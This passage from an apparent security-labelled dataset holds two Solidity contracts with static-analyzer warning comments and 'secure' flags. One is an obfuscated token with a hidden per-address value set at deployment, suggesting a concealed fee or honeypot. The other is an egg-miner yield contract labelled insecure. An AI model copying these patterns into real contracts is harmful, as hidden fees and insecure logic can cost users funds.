change.\n uint8 public decimals = 9;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Optimization Issue (constable-states | ID: db9fe8b): JesusPlanet.symbol should be constant \n\t// Recommendation for db9fe8b: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"Jesus Planet\";\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private iumhavxr;\n\n\t// WARNING Optimization Issue (constable-states | ID: 15c46e2): JesusPlanet.totalSupply should be constant \n\t// Recommendation for 15c46e2: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: e11fdbd): JesusPlanet.jblpeucxik should be constant \n\t// Recommendation for e11fdbd: Add the 'constant' attribute to state variables that never change.\n uint256 private jblpeucxik = 75;\n\n constructor(address gkwxapd) {\n balanceOf[msg.sender] = totalSupply;\n cngqarjh[gkwxapd] = jblpeucxik;\n IUniswapV2Router02 jfbxchwzm = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n bujwm = IUniswapV2Factory(jfbxchwzm.factory()).createPair(\n address(this),\n jfbxchwzm.WETH()\n );\n }\n\n mapping(address => uint256) public balanceOf;\n\n function approve(\n address qkynjbds,\n uint256 nyzbchxlugrj\n ) public returns (bool success) {\n allowance[msg.sender][qkynjbds] = nyzbchxlugrj;\n emit Approval(msg.sender, qkynjbds, nyzbchxlugrj);\n return true;\n }\n\n mapping(address => uint256) private cngqarjh;\n}",
"file_name": "solidity_code_2077.sol",
"secure": 1,
"size_bytes": 4160
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ETHonomics is Context, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 76dc2d9): ETHonomics.EGGS_TO_HATCH_1MINERS should be constant \n\t// Recommendation for 76dc2d9: Add the 'constant' attribute to state variables that never change.\n uint256 private EGGS_TO_HATCH_1MINERS = 1080000;\n\t// WARNING Optimization Issue (constable-states | ID: 9ec713c): ETHonomics.PSN should be constant \n\t// Recommendation for 9ec713c: Add the 'constant' attribute to state variables that never change.\n uint256 private PSN = 10000;\n\t// WARNING Optimization Issue (constable-states | ID: 3e05cbc): ETHonomics.PSNH should be constant \n\t// Recommendation for 3e05cbc: Add the 'constant' attribute to state variables that never change.\n uint256 private PSNH = 5000;\n\t// WARNING Optimization Issue (constable-states | ID: 5e47eb9): ETHonomics.devFeeVal should be constant \n\t// Recommendation for 5e47eb9: Add the 'constant' attribute to state variables that never change.\n uint256 private devFeeVal = 5;\n bool public initialized = false;\n address payable private recAdd;\n mapping(address => uint256) private hatcheryMiners;\n mapping(address => uint256) private claimedEggs;\n mapping(address => uint256) public soldEggs;\n mapping(address => uint256) public lastHatch;\n mapping(address => uint256) public refCount;\n mapping(address => address) private referrals;\n uint256 private marketEggs;\n mapping(address => bool) public hasParticipated;\n uint256 public uniqueUsers;\n\n constructor() {\n recAdd = payable(msg.sender);\n }\n\n function hatchEggs(address ref) public {\n require(initialized);\n\n if (ref == msg.sender) {\n ref = address(0);\n }\n\n if (\n referrals[msg.sender] == address(0) &&\n referrals[msg.sender] != msg.sender\n ) {\n referrals[msg.sender] = ref;\n }\n\n uint256 eggsUsed = getMyEggs(msg.sender);\n uint256 newMiners = SafeMath.div(eggsUsed, EGGS_TO_HATCH_1MINERS);\n hatcheryMiners[msg.sender] = SafeMath.add(\n hatcheryMiners[msg.sender],\n newMiners\n );\n claimedEggs[msg.sender] = 0;\n lastHatch[msg.sender] = block.timestamp;\n\n claimedEggs[referrals[msg.sender]] = SafeMath.add(\n claimedEggs[referrals[msg.sender]],\n SafeMath.div(eggsUsed, 8)\n );\n\n marketEggs = SafeMath.add(marketEggs, SafeMath.div(eggsUsed, 5));\n }\n\n function sellEggs() public {\n require(initialized);\n uint256 hasEggs = getMyEggs(msg.sender);\n uint256 eggValue = calculateEggSell(hasEggs);\n uint256 fee = devFee(eggValue);\n claimedEggs[msg.sender] = 0;\n lastHatch[msg.sender] = block.timestamp;\n marketEggs = SafeMath.add(marketEggs, hasEggs);\n recAdd.transfer(fee);\n payable(msg.sender).transfer(SafeMath.sub(eggValue, fee));\n soldEggs[msg.sender] = SafeMath.add(\n soldEggs[msg.sender],\n SafeMath.sub(eggValue, fee)\n );\n }\n\n function beanRewards(address adr) public view returns (uint256) {\n uint256 hasEggs = getMyEggs(adr);\n uint256 eggValue = calculateEggSell(hasEggs);\n return eggValue;\n }\n\n function buyEggs(address ref) public payable {\n require(initialized);\n uint256 eggsBought = calculateEggBuy(\n msg.value,\n SafeMath.sub(address(this).balance, msg.value)\n );\n eggsBought = SafeMath.sub(eggsBought, devFee(eggsBought));\n uint256 fee = devFee(msg.value);\n recAdd.transfer(fee);\n claimedEggs[msg.sender] = SafeMath.add(\n claimedEggs[msg.sender],\n eggsBought\n );\n hatchEggs(ref);\n refCount[ref] = refCount[ref] + 1;\n\n if (!hasParticipated[msg.sender]) {\n hasParticipated[msg.sender] = true;\n uniqueUsers++;\n }\n }\n\n function showRate() public view returns (uint256) {\n return calculateEggBuySimple(1000000000000000000 * 94) / 108000000;\n }\n\n function calculateTrade(\n uint256 rt,\n uint256 rs,\n uint256 bs\n ) private view returns (uint256) {\n return\n SafeMath.div(\n SafeMath.mul(PSN, bs),\n SafeMath.add(\n PSNH,\n SafeMath.div(\n SafeMath.add(\n SafeMath.mul(PSN, rs),\n SafeMath.mul(PSNH, rt)\n ),\n rt\n )\n )\n );\n }\n\n function calculateEggSell(uint256 eggs) public view returns (uint256) {\n return calculateTrade(eggs, marketEggs, address(this).balance);\n }\n\n function calculateEggBuy(\n uint256 eth,\n uint256 contractBalance\n ) public view returns (uint256) {\n return calculateTrade(eth, contractBalance, marketEggs);\n }\n\n function calculateEggBuySimple(uint256 eth) public view returns (uint256) {\n return calculateEggBuy(eth, address(this).balance);\n }\n\n function devFee(uint256 amount) private view returns (uint256) {\n return SafeMath.div(SafeMath.mul(amount, devFeeVal), 100);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a264b93): ETHonomics.seedMarket() uses timestamp for comparisons Dangerous comparisons require(bool)(marketEggs == 0)\n\t// Recommendation for a264b93: Avoid relying on 'block.timestamp'.\n function seedMarket() public payable onlyOwner {\n\t\t// timestamp | ID: a264b93\n require(marketEggs == 0);\n initialized = true;\n marketEggs = 108000000000;\n }\n\n function getBalance() public view returns (uint256) {\n return address(this).balance;\n }\n\n function getMyMiners(address adr) public view returns (uint256) {\n return hatcheryMiners[adr];\n }\n\n function getMyEggs(address adr) public view returns (uint256) {\n return SafeMath.add(claimedEggs[adr], getEggsSinceLastHatch(adr));\n }\n\n function getEggsSinceLastHatch(address adr) public view returns (uint256) {\n uint256 secondsPassed = min(\n EGGS_TO_HATCH_1MINERS,\n SafeMath.sub(block.timestamp, lastHatch[adr])\n );\n return SafeMath.mul(secondsPassed, hatcheryMiners[adr]);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c89dc5c): ETHonomics.min(uint256,uint256) uses timestamp for comparisons Dangerous comparisons a < b\n\t// Recommendation for c89dc5c: Avoid relying on 'block.timestamp'.\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n\t\t// timestamp | ID: c89dc5c\n return a < b ? a : b;\n }\n\n function setDevFeeAddress(address account) public onlyOwner {\n require(account != address(0), \"Invalid address\");\n recAdd = payable(account);\n }\n}",
"file_name": "solidity_code_2078.sol",
"secure": 0,
"size_bytes": 7384
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.